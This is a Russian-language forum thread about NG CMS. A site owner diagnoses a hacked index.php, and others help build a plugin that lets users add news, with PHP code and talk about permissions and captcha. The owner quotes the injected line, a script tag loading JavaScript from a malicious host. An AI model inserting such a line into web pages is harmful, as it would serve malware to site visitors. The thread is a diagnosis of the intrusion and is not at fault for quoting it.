Вы не зашли.
Вернул на место старый сайт, от ng пока отказался...
Всем привет! Проблема такая: не так давно скачал 0.9.2 Release Candidate 1, нашёл красивый чёрный шаблон от DLE, занялся адаптацией, на это время закрыл сайт, вчера отваливается шутбокс на форуме (форум закрытый, все свои), затем мне пользователи говорят, что антивирус стал ругаться вот так:
http://s003.radikal.ru/i203/1008/51/6279e3a8cd81.jpg
В исходнике ничего не нашёл. Но nuttypiano.com действительно вредоносный сайт.
Дальше интереснее. Смотрю логи:
[Thu Aug 26 22:21:44 2010] [error] PHP Parse error: syntax error, unexpected '<' in /home/c/cl*/cl*.tmweb.ru/public_html/index.php on line 231
Они показывают на файл CMS, а не форума.
В этот день я ничего не делал с NG CMS.
Смотрю индекс:
228 // Call maintanance actions
229 exec_acts('maintenance');
230 if ($config['auto_backup'] == "1") { AutoBackup(); }
231 <script type="text/javascript" src="http://illmoney.ru/Webcam.js"></script>
232 <!--3663ae803360dbf9a51c8052ba2132ff-->
А теперь вопрос на засыпку. Это дырка на сайте или кто-то мог по фтп под моим логином закинуть?
Просто бэкап то я сделаю, но смысл... Надо узнать кто, что и как...
В собственном шаблоне не хочет работать эта функция! textarea полностью повторяет дефолтный шаблон, но неработает нигде, кроме админки, в чём может быть дело?
Я же не могу каждый раз подменять эту функцию на innerHTML по ID...
вот архив: http://fortyhertzmuzik.ifolder.ru/17540544, но темплейт кривой и находится в папке шаблона, его высылать нет смысла, потому как там на CSS всё завязано.
посмотреть что сделано можно тут: http://fortyhertzmuzik.ru/plugin/addnews/ (логин и пароль test)
мне надо прикрутить капчу хотя бы...
о предпросмотре молчу...)))
это просто смешно собрать такой двиг и вырезать функцию только из-за того, что она не влезала в диз
логин/пасс: test
http://fortyhertzmuzik.ru/plugin/addnews/
просмотр почему-то отваливался или всплывал до шаблона, пришлось его убрать...
и ещё предупреждение о пустой странице или загловке отсутствует потому что я не понял как обнулять поля и использовал функцию проверки для отключения отправки...
может какие-нибудь XSS проверить или что вообще, я не знаю даже как взломать могут.
новая панель добавления новостей значительно шире старой, в итоге она практически ни в один дизайн не могла влезть.
это что ли?
Ха, так он и из коробки не обнулялся) То есть в админке так же...
[hr /]офф...
Как это дело проверить на безопасность? Сдаётся мне функцию добавления новостей юзверями не случайно вырезали... Если это не закрытый баг, то хоть в ЛС скажите, не хочется, чтобы сайт ломанули...:(
© Настоящий программист никогда не ставит
комментариев. То, что писалось с трудом, должно
пониматься с трудом. :))
Уже порадовало...
Ок, вроде нашёл то что нужно...:rolleyes:
Не работает для 0.9.1, да и вообще, зачем из журналиста делать редактора и везде доступ подменять.
надо найти что именно отвечает за конфигурацию флагов.
// Configure flags
$tvars['vars']['flag_mainpage'] = (($userROW['status'] == 1)||($userROW['status'] == 2)||($userROW['status'] == 3))?'checked="checked"':'disabled="disabled"';
$tvars['vars']['flag_approve'] = (($userROW['status'] == 1)||($userROW['status'] == 2)||($userROW['status'] == 3))?'checked="checked"':'disabled="disabled"';
Вот и всё
В шаблоне капча прописана, картинка показывается, но даже если капча не заполнена, функция выполняется, как правильно подключить в скрипте плагина?
Эх всё равно много косяков вышло, комментатора опять не пускает, при открытии пытается отправить, если перезагрузить страницу, то дублирует отправку новости...
Проблема в том, что ты делаешь все методом тыка))
wiki пишет:register_plugin_page($pname, $mode, $func_name, $show_template = 1)
$pname – идентификатор плагина
$mode – команда, передаваемая плагину (пример обращения: ?action=plugin&plugin=&plugin_cmd=&), если команды нет – прописываем просто ‘’
$func_name – наименование функции-обработчика данной команды
$show_template – сейчас не используетсяПараметр $func_name у тебя пустой.
Ты прав, я всё таки не кодер...)
Всё сделал, всё работает, сейчас только темплейт поправлю и сюда тогда выложу, спасибо тебе.
мда... теперь будем додумывать свой тпл...
кстати два вопроса:
$tpl -> template('addnews', defined('ADMIN')?tpl_actions:tpl_site); - если я хочу tpl плагина, то пишу extras_dir/(addnews/tpl/addnews.tpl) так? он пишет что директория не существует...:rolleyes:
и второй вопрос, я не хочу язык из админки, как мне кнопки подписать?:|
Это я делал, тут в чём-то другом проблема...
http://fortyhertzmuzik.ifolder.ru/17514135
Ошибка: Вызываемый метод недоступен для плагина 'addnews'
ну я на всякий случай прописал:
ini_set('display_errors',1);
error_reporting(E_ALL ^E_NOTICE);
и вот теперь такое выдаёт... блин, туго дело.
оййй я же не то скинул-то!
там почти пустой файл)))
спасибо за подсказку, буду колдовать...:)
Call to a member function template()
$tpl -> template('addnews', $tpath['addnews']);
А чего его жалеть-то)) addnews.php в открытом доступе Так где архив?
тут addnews это название плагина
фактически ничего не изменено, только вывод на шаблон и вначале проверка на гостя.
Прикрепленные файлы:
addnews.zip, Размер: 4,650 байт, Скачано: 0
ну или http://ngcms.ru/forum/attachment.php?item=335
я просто чего-то не понимаю как правильно прописать вывод и даже не знаю работает ли сама функция, отладчика нет, логов нет, пальцем в небо...
Лови, мне не жалко
Ну, плагином это не назовёшь конечно...
<?php
if (!defined('NGCMS')) die ('HAL');
register_plugin_page('addnews','','',0);
@include_once root.'core.php';
if (!defined('NGCMS')) die ('HAL');
if ($userROW['status'] > 4) {
@header("Location: ".home);
exit;
}
if ($userROW['status'] < 1) {
@header("Location: ".home);
exit;
}
@include_once root.'includes/classes/upload.class.php';
$SYSTEM_FLAGS['info']['title']['group'] = $lang['loc_addnews'];
$lang = LoadLang('addnews', defined('ADMIN')?'admin':'site');
$situation = "news";
function addnews(){
global $mysql, $lang, $userROW, $parse, $PFILTERS, $config, $catz, $catmap;
global $c_day, $c_month, $c_year, $c_hour, $c_minute;
$title = $_REQUEST['title'];
$content = $_REQUEST['content'];
$alt_name = $parse->translit( trim($_REQUEST['alt_name']), 1);
// Check title
if ( (!strlen(trim($title))) || (!strlen(trim($content))) ) {
msg(array("type" => "error", "text" => $lang['msge_fields'], "info" => $lang['msgi_fields']));
return 0;
}
$SQL['title'] = $title;
// Check for dup if alt_name is specified
if ($alt_name) {
if ( is_array($mysql->record("select id from ".prefix."_news where alt_name = ".db_squote($alt_name)." limit 1")) ) {
msg(array("type" => "error", "text" => $lang['msge_alt_name'], "info" => $lang['msgi_alt_name']));
return;
}
$SQL['alt_name'] = $alt_name;
} else {
// Generate uniq alt_name if no alt_name specified
$alt_name = strtolower($parse->translit(trim($title), 1));
// Make a conversion:
// * '.' to '_'
// * '__' to '_' (several to one)
// * Delete leading/finishing '_'
$alt_name = preg_replace(array('/\./', '/(_{2,20})/', '/^(_+)/', '/(_+)$/'), array('_', '_'), $alt_name);
// Make alt_name equal to '_' if it appear to be blank after conversion
if ($alt_name == '') $alt_name = '_';
$i = '';
while ( is_array($mysql->record("select id from ".prefix."_news where alt_name = ".db_squote($alt_name.$i)." limit 1")) ) {
$i++;
}
$SQL['alt_name'] = $alt_name.$i;
}
if ($_REQUEST['customdate']) {
$SQL['postdate'] = mktime($c_hour, $c_minute, 0, $c_month, $c_day, $c_year) + ($config['date_adjust'] * 60);
} else {
$SQL['postdate'] = time() + ($config['date_adjust'] * 60);
}
$SQL['editdate'] = $SQL['postdate'];
// Fetch MASTER provided categories
$catids = array ();
if (intval($_POST['category']) && isset($catmap[intval($_POST['category'])])) {
$catids[intval($_POST['category'])] = 1;
}
// Fetch ADDITIONAL provided categories
foreach ($_POST as $k => $v) {
if (preg_match('#^category_(\d+)$#', $k, $match) && $v && isset($catmap[intval($match[1])]))
$catids[$match[1]] = 1;
}
if ($config['meta']) {
$SQL['description'] = $_REQUEST['description'];
$SQL['keywords'] = $_REQUEST['keywords'];
}
$SQL['author'] = $userROW['name'];
$SQL['author_id'] = $userROW['id'];
$SQL['catid'] = implode(",", array_keys($catids));
// Use flag 'allow comments' only in case when plugin 'comments' is installed
if (getPluginStatusInstalled('comments'))
$SQL['allow_com'] = $_REQUEST['allow_com'];
// Variable FLAGS is a bit-variable:
// 0 = RAW mode [if set, no conversion "\n" => "<br />" will be done]
// 1 = HTML enable [if set, HTML codes may be used in news]
$SQL['flags'] = 0;
switch ($userROW['status']) {
case 1: // admin can do anything
$SQL['flags'] = ($_REQUEST['flag_RAW']?1:0) + ($_REQUEST['flag_HTML']?2:0);
break;
case 2: // Editor. Check if we have permissions
if (!$config['htmlsecure_2'])
$SQL['flags'] = ($_REQUEST['flag_RAW']?1:0) + ($_REQUEST['flag_HTML']?2:0);
break;
case 3: // Journalists. Check if we have permissions
if (!$config['htmlsecure_3'])
$SQL['flags'] = ($_REQUEST['flag_RAW']?1:0) + ($_REQUEST['flag_HTML']?2:0);
break;
case 4: // Commentors. Check if we have permissions
if (!$config['htmlsecure_4'])
$SQL['flags'] = ($_REQUEST['flag_RAW']?1:0) + ($_REQUEST['flag_HTML']?2:0);
break;
}
// This actions are allowed only for admins & Edtiors
if (($userROW['status'] == 1)||($userROW['status'] == 2)) {
$SQL['mainpage'] = intval($_REQUEST['mainpage']);
$SQL['approve'] = intval($_REQUEST['approve']);
$SQL['favorite'] = intval($_REQUEST['favorite']);
$SQL['pinned'] = intval($_REQUEST['pinned']);
}
$content = str_replace("\r\n", "\n", $content);
$SQL['content'] = $content;
exec_acts('addnews');
$pluginNoError = 1;
if (is_array($PFILTERS['news']))
foreach ($PFILTERS['news'] as $k => $v) {
if (!($pluginNoError = $v->addNews($tvars, $SQL))) {
msg(array("type" => "error", "text" => str_replace('{plugin}', $k, $lang['msge_pluginlock'])));
break;
}
}
if (!$pluginNoError) {
return 0;
}
$vnames = array(); $vparams = array();
foreach ($SQL as $k => $v) { $vnames[] = $k; $vparams[] = db_squote($v); }
$mysql->query("insert into ".prefix."_news (".implode(",",$vnames).") values (".implode(",",$vparams).")");
$id = $mysql->result("SELECT LAST_INSERT_ID() as id");
// Update category / user posts counter [ ONLY if news is approved ]
if ($SQL['approve']) {
if (count($catids)) {
$mysql->query("update ".prefix."_category set posts=posts+1 where id in (".implode(", ",array_keys($catids)).")");
foreach (array_keys($catids) as $catid) {
$mysql->query("insert into ".prefix."_news_map (newsID, categoryID) values (".db_squote($id).", ".db_squote($catid).")");
}
}
$mysql->query("update ".uprefix."_users set news=news+1 where id=".$SQL['author_id']);
}
if (is_array($PFILTERS['news']))
foreach ($PFILTERS['news'] as $k => $v) { $v->addNewsNotify($tvars, $SQL, $id); }
exec_acts('addnews_', $id);
msg(array("text" => $lang['msgo_added'], "info" => sprintf($lang['msgi_added'], admin_url.'/admin.php?mod=editnews&action=editnews&id='.$id, admin_url.'/admin.php?mod=editnews')));
// Now let's manage attached files
$fmanager = new file_managment();
$flagUpdateAttachCount = false;
// Delete files (if needed)
foreach ($_POST as $k => $v) {
if (preg_match('#^delfile_(\d+)$#', $k, $match)) {
$fmanager->file_delete(array('type' => 'file', 'id' => $match[1]));
$flagUpdateAttachCount = true;
}
}
//print "<pre>".var_export($_FILES, true)."</pre>";
// PREPARE a list for upload
if (is_array($_FILES['userfile']['name']))
foreach($_FILES['userfile']['name'] as $i => $v) {
if ($v == '')
continue;
$flagUpdateAttachCount = true;
//
$up = $fmanager->file_upload(array('dsn' => true, 'linked_ds' => 1, 'linked_id' => $id, 'type' => 'file', 'http_var' => 'userfile', 'http_varnum' => $i));
//print "OUT: <pre>".var_export($up, true)."</pre>";
if (!is_array($up)) {
// Error uploading file
// ... show error message ...
}
}
// Update attach count if we need this
if ($flagUpdateAttachCount) {
$attachCount = $mysql->result("select count(*) as cnt from ".prefix."_files where (storage=1) and (linked_ds=1) and (linked_id=".db_squote($id).")");
$mysql->query("update ".prefix."_news set attach_count = ".intval($attachCount)." where id = ".db_squote($id));
}
return 1;
}
$JEV = 'null';
if ($subaction == "add") {
// If we have an error - fill all variables again
if (!news_add()) {
$jarr = array();
foreach ($_POST as $k => $v)
if (is_array($v)) {
foreach ($v as $vk => $vv)
if (!is_array($vv))
$jarr[$k][$vk] = iconv('Windows-1251', 'UTF-8', $vv);
} else {
$jarr[$k] = iconv('Windows-1251', 'UTF-8', $v);
}
$JEV = json_encode($jarr);
}
}
$tvars['vars'] = array(
'php_self' => $PHP_SELF,
'changedate' => ChangeDate(),
'mastercat' => makeCategoryList(array('doempty' => 1, 'nameval' => 0)),
'extcat' => makeCategoryList(array('nameval' => 0, 'checkarea' => 1)),
'JEV' => $JEV
);
$tvars['vars']['smilies'] = ($config['use_smilies'])?InsertSmilies('content', 20):'';
$tvars['vars']['quicktags'] = ($config['use_bbcodes'])?QuickTags('', 'news'):'';
if ($userROW['status'] < 3) {
$tvars['vars']['[options]'] = "";
$tvars['vars']['[/options]'] = "";
} else {
$tvars['regx']['#\[options\].*?\[/options\]#si'] = '';
}
if ($config['meta']) {
$tvars['vars']['[meta]'] = "";
$tvars['vars']['[/meta]'] = "";
} else {
$tvars['regx']['#\[meta\].*?\[/meta\]#si'] = '';
}
if ( is_array($userROW) && ($userROW['status']== "1" || $userROW['status']== "2") ) {
$tvars['vars']['[if-have-perm]'] = "";
$tvars['vars']['[/if-have-perm]'] = "";
} else {
$tvars['regx']["'\\[if-have-perm\\].*?\\[/if-have-perm\\]'si"] = "";
}
$flock = 0;
switch ($userROW['status']) {
case 2: if ($config['htmlsecure_2']) $flock = 1; break;
case 3: if ($config['htmlsecure_3']) $flock = 1; break;
case 4: if ($config['htmlsecure_4']) $flock = 1; break;
}
$tvars['vars']['disable_flag_raw'] = $flock?'disabled':'';
$tvars['vars']['disable_flag_html'] = $flock?'disabled':'';
// Configure flags
$tvars['vars']['flag_mainpage'] = (($userROW['status'] == 1)||($userROW['status'] == 2))?'checked="checked"':'disabled="disabled"';
$tvars['vars']['flag_approve'] = (($userROW['status'] == 1)||($userROW['status'] == 2))?'checked="checked"':'disabled="disabled"';
$tvars['vars']['flag_favorite'] = (($userROW['status'] == 1)||($userROW['status'] == 2))?'':'disabled="disabled"';
$tvars['vars']['flag_pinned'] = (($userROW['status'] == 1)||($userROW['status'] == 2))?'':'disabled="disabled"';
$tvars['vars']['flag_allow_com'] = 'checked="checked"';
// Disable flag for comments if plugin 'comments' is not installed
$tvars['regx']['#\[comments\](.*?)\[\/comments\]#is'] = getPluginStatusInstalled('comments')?'$1':'';
// Run interceptors
if (is_array($PFILTERS['news']))
foreach ($PFILTERS['news'] as $k => $v) { $v->addNewsForm($tvars); }
$tpl -> template('addnews', $tpath['addnews']);
$tpl -> vars('addnews', $tvars);
$output = $tpl -> show('addnews');
$template['vars']['mainblock':'plugin_addnews'] = $output;
Ошибка: Вызываемый метод недоступен для плагина 'addnews' *WALL*
Причём даже если я ничего в php файле не произвожу...
$tpl -> template('addnews', $tpath['addnews']);
$tpl -> vars('addnews', $tvars);
$output = $tpl -> show('addnews');
$template['vars']['mainblock':'plugin_addnews'] = $output;
В этом коде может быть проблема?
Шаблон addnews.tpl есть и в папке tpl в плагине и папке темы...
этот инсерт текст глупая затея вообще, иннер хтмл работает везде, но ещё одна глупая затея везде ставить айди "content", пришлось все формы менять на content5 например, и туда уже делать иннерхтмл...
почему? да потому что в опере работает, в мозиле кое как, а в хроме отваливается.
Сообщу об "успехах", теперь новость на сайт могут добавлять и опубликовывать все все все...:D:D:D
Тааак... Уже лучше, удалось сохранить разрешения групп, гости идут мимо, своя форма новостей готова, теперь колдую над встраиванием в шаблон...
Назвал файл add.php и поместил в папку engine...
<?php
@include_once 'core.php';
if (!defined('NGCMS')) die ('HAL');
if ($userROW['status'] > 4) {
@header("Location: ".home);
exit;
}
if ($userROW['status'] < 1) {
@header("Location: ".home);
exit;
}
require("./actions/addnews.php");
Проблема в том, что в файле addnews.php (для опытов использовал другое название) отказывается выполнять это:
$template['vars']['mainblock'] .= $tpl -> show('addnews');
То есть в шаблон сайта никак не воткнуть результат отработки скрипта...